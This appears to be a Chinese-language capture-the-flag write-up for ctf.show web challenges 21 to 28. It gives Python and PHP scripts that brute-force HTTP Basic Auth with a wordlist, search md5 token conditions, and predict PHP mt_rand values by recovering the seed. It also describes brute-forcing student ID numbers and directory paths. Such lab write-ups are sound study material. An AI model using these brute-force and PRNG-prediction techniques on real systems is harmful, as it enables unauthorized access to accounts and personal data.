web21
提交用户和密码后发现没有用户以及密码的值呢 常见的是在post数据中 或者url后传值 但这里都没有
发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了
设置变量
增加前缀
增加编码方式
取消选项 记住 只要payload存在一下符号就取消
增加字典(字典使用题目给的字典 因为是做题嘛 要不然时间过长)
开始爆破发现有一个payload的响应的状态码为200
直接查看响应内容
第二种方法 python脚本
import time
import requests
import base64
url = 'http://c627cc25-ad77-4154-9fbf-5508f215bd17.challenge.ctf.show/'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
print(password)
for p in password:
strs = 'admin:' + p
header = {
'Authorization': 'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
print(header)
rep = requests.get(url, headers=header)
if rep.status_code == 200:
print(rep.text)
break
web 22
题有问题 直接写答案
web23
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
写一个对应的脚本即可 看看哪些数可以满足题目条件
<?php
error_reporting(0);
for ($i=0;$i<1000000;$i=$i+1){
$token=md5($i);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $i."\n";
}}}
上面是php脚本 直接按照要求 得出一个值
下面是python脚本 真正的时间爆破 但是也是个思路
两种方式不同而已 php采用的是根据题目要求写一个脚本 获取能执行成功的值 而python脚本则是一个一个去尝试成功就暂停 两种都可以 但是这道题其实使用php脚本更友好 因为速度快 某个值不满足 直接不执行多余语句 而python每个值都要全部执行看看返回值
import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
for j in a:
url ="http://798a8cd2-5ee7-422e-bb13-1615baf862ff.challenge.ctf.show/?token="+str(i)+str(j)
req = requests.get(url=url).text
if "flag" in req:
print(req)
exit()
else:
print(url)
web24
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
写一个脚本看看随机数的值为多少
<?php
mt_srand(372619038);
echo mt_rand();
?>
第一次的到999695185 传参发现不对 换个php版本再尝试一下
得到1155388967 传参成功
web25
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
mt_srand设置种子 但是该题种子位置 然是通过传参r=0能的到 -2114860072 也就是说intval(mt_rand())的值为2114860072 也就是使用该种子的第一个随机数为2114860072
使用工具反推出种子的值
找到php7版本的种子 手动尝试一下第一个值是不是2114860072
<?php
mt_srand(3566994211 );
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
发现是 使用第二次和第三次随机数进行相加 得到3462242492
传参r=2114860072 cookie中的token的值为3462242492
这道题之所以这么做是因为mt_rand每一次的值都是根据种子来计算出来 也就是说 如果种子固定
执行的结果是固定的 所以这个种子很重要
学生A 执行第一次 得到12 第二次得到 123 第三次得到1234
同理
学生B 执行第一次 得到12 第二次得到 123 第三次得到1234
web26
抓包直接得到flag 莫名其妙估计他没想给默认值?
web27
查看录取名单
学生学籍查看系统 需要姓名和身份证 选择第一个用户直接爆破身份证号
得到该学生学号以及密码
web28
提示
那就爆破目录0-100/0-100/ 即可